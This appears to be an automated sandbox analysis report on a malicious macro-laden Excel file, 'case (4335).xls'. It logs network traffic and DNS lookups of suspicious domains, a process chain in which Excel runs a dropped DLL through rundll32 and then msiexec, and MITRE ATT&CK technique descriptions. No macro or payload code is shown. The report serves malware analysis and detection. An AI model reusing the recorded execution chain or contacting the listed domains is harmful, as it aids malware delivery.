Jan 26, 2021 21:35:03.578171968 CET	443	49165	172.67.150.228	192.168.2.22
Jan 26, 2021 21:35:03.578223944 CET	49165	443	192.168.2.22	172.67.150.228
Jan 26, 2021 21:35:03.578248978 CET	49165	443	192.168.2.22	172.67.150.228
Jan 26, 2021 21:35:03.579114914 CET	443	49165	172.67.150.228	192.168.2.22
Jan 26, 2021 21:35:03.579137087 CET	443	49165	172.67.150.228	192.168.2.22
Jan 26, 2021 21:35:03.579201937 CET	49165	443	192.168.2.22	172.67.150.228
Jan 26, 2021 21:35:03.579252958 CET	443	49165	172.67.150.228	192.168.2.22
Jan 26, 2021 21:35:03.579273939 CET	443	49165	172.67.150.228	192.168.2.22
Jan 26, 2021 21:35:03.579288960 CET	443	49165	172.67.150.228	192.168.2.22
Jan 26, 2021 21:35:03.579320908 CET	49165	443	192.168.2.22	172.67.150.228
Jan 26, 2021 21:35:03.579341888 CET	49165	443	192.168.2.22	172.67.150.228
Jan 26, 2021 21:35:03.594708920 CET	49165	443	192.168.2.22	172.67.150.228
Jan 26, 2021 21:35:03.612683058 CET	443	49165	172.67.150.228	192.168.2.22
Jan 26, 2021 21:35:03.612710953 CET	443	49165	172.67.150.228	192.168.2.22
Jan 26, 2021 21:35:03.612862110 CET	49165	443	192.168.2.22	172.67.150.228
Jan 26, 2021 21:35:03.637841940 CET	443	49165	172.67.150.228	192.168.2.22
Jan 26, 2021 21:35:03.637868881 CET	443	49165	172.67.150.228	192.168.2.22
Jan 26, 2021 21:35:03.638022900 CET	49165	443	192.168.2.22	172.67.150.228
Jan 26, 2021 21:35:03.638091087 CET	443	49165	172.67.150.228	192.168.2.22
Jan 26, 2021 21:35:03.638104916 CET	443	49165	172.67.150.228	192.168.2.22
Jan 26, 2021 21:35:03.638163090 CET	49165	443	192.168.2.22	172.67.150.228
Jan 26, 2021 21:35:03.638279915 CET	443	49165	172.67.150.228	192.168.2.22
Jan 26, 2021 21:35:03.638297081 CET	443	49165	172.67.150.228	192.168.2.22
Jan 26, 2021 21:35:03.638309956 CET	443	49165	172.67.150.228	192.168.2.22
Jan 26, 2021 21:35:03.638341904 CET	49165	443	192.168.2.22	172.67.150.228
Jan 26, 2021 21:35:03.638365030 CET	49165	443	192.168.2.22	172.67.150.228
Jan 26, 2021 21:35:03.638850927 CET	443	49165	172.67.150.228	192.168.2.22
Jan 26, 2021 21:35:03.638870001 CET	443	49165	172.67.150.228	192.168.2.22
Jan 26, 2021 21:35:03.638881922 CET	443	49165	172.67.150.228	192.168.2.22
Jan 26, 2021 21:35:03.639028072 CET	49165	443	192.168.2.22	172.67.150.228
Jan 26, 2021 21:35:03.639769077 CET	443	49165	172.67.150.228	192.168.2.22
Jan 26, 2021 21:35:03.639789104 CET	443	49165	172.67.150.228	192.168.2.22
Jan 26, 2021 21:35:03.639806032 CET	443	49165	172.67.150.228	192.168.2.22
Jan 26, 2021 21:35:03.639851093 CET	49165	443	192.168.2.22	172.67.150.228
Jan 26, 2021 21:35:03.639873028 CET	49165	443	192.168.2.22	172.67.150.228
Jan 26, 2021 21:35:03.640710115 CET	443	49165	172.67.150.228	192.168.2.22
Jan 26, 2021 21:35:03.640728951 CET	443	49165	172.67.150.228	192.168.2.22
Jan 26, 2021 21:35:03.640743971 CET	443	49165	172.67.150.228	192.168.2.22
Jan 26, 2021 21:35:03.640779972 CET	49165	443	192.168.2.22	172.67.150.228
Jan 26, 2021 21:35:03.640801907 CET	49165	443	192.168.2.22	172.67.150.228
Jan 26, 2021 21:35:03.641004086 CET	49165	443	192.168.2.22	172.67.150.228
Jan 26, 2021 21:35:03.641535044 CET	443	49165	172.67.150.228	192.168.2.22
Jan 26, 2021 21:35:03.641555071 CET	443	49165	172.67.150.228	192.168.2.22
Jan 26, 2021 21:35:03.641571045 CET	443	49165	172.67.150.228	192.168.2.22
Jan 26, 2021 21:35:03.641594887 CET	49165	443	192.168.2.22	172.67.150.228
Jan 26, 2021 21:35:03.641614914 CET	49165	443	192.168.2.22	172.67.150.228
Jan 26, 2021 21:35:03.642400980 CET	443	49165	172.67.150.228	192.168.2.22
Jan 26, 2021 21:35:03.642419100 CET	443	49165	172.67.150.228	192.168.2.22
Jan 26, 2021 21:35:03.642432928 CET	443	49165	172.67.150.228	192.168.2.22
Jan 26, 2021 21:35:03.642462969 CET	49165	443	192.168.2.22	172.67.150.228
Jan 26, 2021 21:35:03.642482042 CET	49165	443	192.168.2.22	172.67.150.228
Jan 26, 2021 21:35:03.643237114 CET	443	49165	172.67.150.228	192.168.2.22
Jan 26, 2021 21:35:03.643320084 CET	49165	443	192.168.2.22	172.67.150.228
Jan 26, 2021 21:35:03.671866894 CET	443	49165	172.67.150.228	192.168.2.22
Jan 26, 2021 21:35:03.671895027 CET	443	49165	172.67.150.228	192.168.2.22
Jan 26, 2021 21:35:03.671912909 CET	443	49165	172.67.150.228	192.168.2.22
Jan 26, 2021 21:35:03.672084093 CET	443	49165	172.67.150.228	192.168.2.22
Jan 26, 2021 21:35:03.672089100 CET	49165	443	192.168.2.22	172.67.150.228
Jan 26, 2021 21:35:03.672147036 CET	49165	443	192.168.2.22	172.67.150.228
Jan 26, 2021 21:35:03.712064028 CET	443	49165	172.67.150.228	192.168.2.22
Jan 26, 2021 21:35:03.712085009 CET	443	49165	172.67.150.228	192.168.2.22
Jan 26, 2021 21:35:03.712097883 CET	443	49165	172.67.150.228	192.168.2.22
Jan 26, 2021 21:35:03.712105989 CET	443	49165	172.67.150.228	192.168.2.22
Jan 26, 2021 21:35:03.712260962 CET	49165	443	192.168.2.22	172.67.150.228
Jan 26, 2021 21:35:03.712328911 CET	443	49165	172.67.150.228	192.168.2.22
Jan 26, 2021 21:35:03.712346077 CET	443	49165	172.67.150.228	192.168.2.22
Jan 26, 2021 21:35:03.712363958 CET	443	49165	172.67.150.228	192.168.2.22
Jan 26, 2021 21:35:03.712404013 CET	49165	443	192.168.2.22	172.67.150.228
Jan 26, 2021 21:35:03.712444067 CET	49165	443	192.168.2.22	172.67.150.228
Jan 26, 2021 21:35:03.712970972 CET	443	49165	172.67.150.228	192.168.2.22
Jan 26, 2021 21:35:03.712990999 CET	443	49165	172.67.150.228	192.168.2.22
Jan 26, 2021 21:35:03.713011026 CET	443	49165	172.67.150.228	192.168.2.22
Jan 26, 2021 21:35:03.713059902 CET	49165	443	192.168.2.22	172.67.150.228
Jan 26, 2021 21:35:03.713100910 CET	49165	443	192.168.2.22	172.67.150.228
Jan 26, 2021 21:35:03.713768959 CET	443	49165	172.67.150.228	192.168.2.22
Jan 26, 2021 21:35:03.713788033 CET	443	49165	172.67.150.228	192.168.2.22

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 26, 2021 21:35:03.059026003 CET	52197	53	192.168.2.22	8.8.8.8
Jan 26, 2021 21:35:03.075212002 CET	53	52197	8.8.8.8	192.168.2.22
Jan 26, 2021 21:35:35.910082102 CET	53099	53	192.168.2.22	8.8.8.8
Jan 26, 2021 21:35:35.927476883 CET	53	53099	8.8.8.8	192.168.2.22
Jan 26, 2021 21:35:36.971981049 CET	52838	53	192.168.2.22	8.8.8.8
Jan 26, 2021 21:35:36.989037991 CET	53	52838	8.8.8.8	192.168.2.22
Jan 26, 2021 21:35:37.533046961 CET	61200	53	192.168.2.22	8.8.8.8
Jan 26, 2021 21:35:37.549777031 CET	53	61200	8.8.8.8	192.168.2.22

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Jan 26, 2021 21:35:03.059026003 CET	192.168.2.22	8.8.8.8	0x312a	Standard query (0)	rnollg.com	A (IP address)	IN (0x0001)
Jan 26, 2021 21:35:35.910082102 CET	192.168.2.22	8.8.8.8	0x6026	Standard query (0)	gadgetswolf.com	A (IP address)	IN (0x0001)
Jan 26, 2021 21:35:36.971981049 CET	192.168.2.22	8.8.8.8	0xe172	Standard query (0)	homesoapmolds.com	A (IP address)	IN (0x0001)
Jan 26, 2021 21:35:37.533046961 CET	192.168.2.22	8.8.8.8	0x70be	Standard query (0)	govemedico.tk	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class
Jan 26, 2021 21:35:03.075212002 CET	8.8.8.8	192.168.2.22	0x312a	No error (0)	rnollg.com	172.67.150.228	A (IP address)	IN (0x0001)
Jan 26, 2021 21:35:03.075212002 CET	8.8.8.8	192.168.2.22	0x312a	No error (0)	rnollg.com	104.21.11.254	A (IP address)	IN (0x0001)
Jan 26, 2021 21:35:35.927476883 CET	8.8.8.8	192.168.2.22	0x6026	No error (0)	gadgetswolf.com	172.67.200.147	A (IP address)	IN (0x0001)
Jan 26, 2021 21:35:35.927476883 CET	8.8.8.8	192.168.2.22	0x6026	No error (0)	gadgetswolf.com	104.21.44.135	A (IP address)	IN (0x0001)
Jan 26, 2021 21:35:36.989037991 CET	8.8.8.8	192.168.2.22	0xe172	No error (0)	homesoapmolds.com	104.21.60.169	A (IP address)	IN (0x0001)
Jan 26, 2021 21:35:36.989037991 CET	8.8.8.8	192.168.2.22	0xe172	No error (0)	homesoapmolds.com	172.67.198.109	A (IP address)	IN (0x0001)
Jan 26, 2021 21:35:37.549777031 CET	8.8.8.8	192.168.2.22	0x70be	No error (0)	govemedico.tk	104.21.73.69	A (IP address)	IN (0x0001)
Jan 26, 2021 21:35:37.549777031 CET	8.8.8.8	192.168.2.22	0x70be	No error (0)	govemedico.tk	172.67.158.184	A (IP address)	IN (0x0001)

HTTPS Packets

Timestamp	Source IP	Source Port	Dest IP	Dest Port	Subject	Issuer	Not Before	Not After	JA3 SSL Client Fingerprint	JA3 SSL Client Digest
Jan 26, 2021 21:35:03.154751062 CET	172.67.150.228	443	192.168.2.22	49165	CN=sni.cloudflaressl.com, O="Cloudflare, Inc.", L=San Francisco, ST=CA, C=US CN=Cloudflare Inc ECC CA-3, O="Cloudflare, Inc.", C=US	CN=Cloudflare Inc ECC CA-3, O="Cloudflare, Inc.", C=US CN=Baltimore CyberTrust Root, OU=CyberTrust, O=Baltimore, C=IE	Fri Jan 22 01:00:00 CET 2021 Mon Jan 27 13:48:08 CET 2020	Sat Jan 22 00:59:59 CET 2022 Wed Jan 01 00:59:59 CET 2025	771,49192-49191-49172-49171-159-158-57-51-157-156-61-60-53-47-49196-49195-49188-49187-49162-49161-106-64-56-50-10-19,0-10-11-13-23-65281,23-24,0	7dcce5b76c8b17472d024758970a406b
Jan 26, 2021 21:35:03.154751062 CET	172.67.150.228	443	192.168.2.22	49165	CN=Cloudflare Inc ECC CA-3, O="Cloudflare, Inc.", C=US	CN=Baltimore CyberTrust Root, OU=CyberTrust, O=Baltimore, C=IE	Mon Jan 27 13:48:08 CET 2020	Wed Jan 01 00:59:59 CET 2025		7dcce5b76c8b17472d024758970a406b
Jan 26, 2021 21:35:36.030499935 CET	172.67.200.147	443	192.168.2.22	49166	CN=sni.cloudflaressl.com, O="Cloudflare, Inc.", L=San Francisco, ST=CA, C=US CN=Cloudflare Inc ECC CA-3, O="Cloudflare, Inc.", C=US	CN=Cloudflare Inc ECC CA-3, O="Cloudflare, Inc.", C=US CN=Baltimore CyberTrust Root, OU=CyberTrust, O=Baltimore, C=IE	Fri Jan 22 01:00:00 CET 2021 Mon Jan 27 13:48:08 CET 2020	Sat Jan 22 00:59:59 CET 2022 Wed Jan 01 00:59:59 CET 2025	771,49192-49191-49172-49171-159-158-57-51-157-156-61-60-53-47-49196-49195-49188-49187-49162-49161-106-64-56-50-10-19,0-10-11-13-23-65281,23-24,0	7dcce5b76c8b17472d024758970a406b
Jan 26, 2021 21:35:36.030499935 CET	172.67.200.147	443	192.168.2.22	49166	CN=Cloudflare Inc ECC CA-3, O="Cloudflare, Inc.", C=US	CN=Baltimore CyberTrust Root, OU=CyberTrust, O=Baltimore, C=IE	Mon Jan 27 13:48:08 CET 2020	Wed Jan 01 00:59:59 CET 2025		7dcce5b76c8b17472d024758970a406b
Jan 26, 2021 21:35:37.038079977 CET	104.21.60.169	443	192.168.2.22	49167	CN=sni.cloudflaressl.com, O="Cloudflare, Inc.", L=San Francisco, ST=CA, C=US CN=Cloudflare Inc ECC CA-3, O="Cloudflare, Inc.", C=US	CN=Cloudflare Inc ECC CA-3, O="Cloudflare, Inc.", C=US CN=Baltimore CyberTrust Root, OU=CyberTrust, O=Baltimore, C=IE	Fri Jan 22 01:00:00 CET 2021 Mon Jan 27 13:48:08 CET 2020	Sat Jan 22 00:59:59 CET 2022 Wed Jan 01 00:59:59 CET 2025	771,49192-49191-49172-49171-159-158-57-51-157-156-61-60-53-47-49196-49195-49188-49187-49162-49161-106-64-56-50-10-19,0-10-11-13-23-65281,23-24,0	7dcce5b76c8b17472d024758970a406b
Jan 26, 2021 21:35:37.038079977 CET	104.21.60.169	443	192.168.2.22	49167	CN=Cloudflare Inc ECC CA-3, O="Cloudflare, Inc.", C=US	CN=Baltimore CyberTrust Root, OU=CyberTrust, O=Baltimore, C=IE	Mon Jan 27 13:48:08 CET 2020	Wed Jan 01 00:59:59 CET 2025		7dcce5b76c8b17472d024758970a406b
Jan 26, 2021 21:35:37.604994059 CET	104.21.73.69	443	192.168.2.22	49168	CN=sni.cloudflaressl.com, O="Cloudflare, Inc.", L=San Francisco, ST=CA, C=US CN=Cloudflare Inc ECC CA-3, O="Cloudflare, Inc.", C=US	CN=Cloudflare Inc ECC CA-3, O="Cloudflare, Inc.", C=US CN=Baltimore CyberTrust Root, OU=CyberTrust, O=Baltimore, C=IE	Thu Jan 14 01:00:00 CET 2021 Mon Jan 27 13:48:08 CET 2020	Fri Jan 14 00:59:59 CET 2022 Wed Jan 01 00:59:59 CET 2025	771,49192-49191-49172-49171-159-158-57-51-157-156-61-60-53-47-49196-49195-49188-49187-49162-49161-106-64-56-50-10-19,0-10-11-13-23-65281,23-24,0	7dcce5b76c8b17472d024758970a406b
Jan 26, 2021 21:35:37.604994059 CET	104.21.73.69	443	192.168.2.22	49168	CN=Cloudflare Inc ECC CA-3, O="Cloudflare, Inc.", C=US	CN=Baltimore CyberTrust Root, OU=CyberTrust, O=Baltimore, C=IE	Mon Jan 27 13:48:08 CET 2020	Wed Jan 01 00:59:59 CET 2025		7dcce5b76c8b17472d024758970a406b

Code Manipulations

Statistics

Behavior

Click to jump to process

System Behavior

Analysis Process: EXCEL.EXE PID: 2240 Parent PID: 584

General

Start time:	21:34:38
Start date:	26/01/2021
Path:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
Wow64 process (32bit):	false
Commandline:	'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding
Imagebase:	0x13fb80000
File size:	27641504 bytes
MD5 hash:	5FB0A0F93382ECD19F5F499A5CAA59F0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Analysis Process: rundll32.exe PID: 2312 Parent PID: 2240

General

Start time:	21:34:43
Start date:	26/01/2021
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	'C:\Windows\System32\rundll32.exe' C:\ProgramData\formnet.dll,DllRegisterServer
Imagebase:	0xffc80000
File size:	45568 bytes
MD5 hash:	DD81D91FF3B0763C392422865C9AC12E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Analysis Process: rundll32.exe PID: 2408 Parent PID: 2312

General

Start time:	21:34:44
Start date:	26/01/2021
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	'C:\Windows\System32\rundll32.exe' C:\ProgramData\formnet.dll,DllRegisterServer
Imagebase:	0x6a0000
File size:	44544 bytes
MD5 hash:	51138BEEA3E2C21EC44D0932C71762A8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Analysis Process: msiexec.exe PID: 2848 Parent PID: 2408

General

Start time:	21:35:12
Start date:	26/01/2021
Path:	C:\Windows\SysWOW64\msiexec.exe
Wow64 process (32bit):	true
Commandline:	msiexec.exe
Imagebase:	0x2a0000
File size:	73216 bytes
MD5 hash:	4315D6ECAE85024A0567DF2CB253B7B0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Disassembly

Code Analysis

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Anti-virus, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, Access tokens, Authentication logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules ), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads.
Tactics:	Defense Evasion
Data Sources:	DLL monitoring, Loaded DLLs, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

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Analysis Report case (4335).xls

Overview

General Information

Detection

Signatures

Classification

Startup

Malware Configuration

Yara Overview

Initial Sample

Sigma Overview

System Summary:

Signature Overview

AV Detection:

Compliance:

Software Vulnerabilities:

Networking:

System Summary:

Data Obfuscation:

Persistence and Installation Behavior:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

Contacted IPs

Public

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static OLE Info

General

OLE File "case (4335).xls"

Indicators

Summary

Document Summary

Streams

Stream Path: \x5DocumentSummaryInformation, File Type: data, Stream Size: 4096

General

Stream Path: \x5SummaryInformation, File Type: data, Stream Size: 4096

General

Stream Path: Book, File Type: Applesoft BASIC program data, first line number 8, Stream Size: 145752

General

Macro 4.0 Code

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre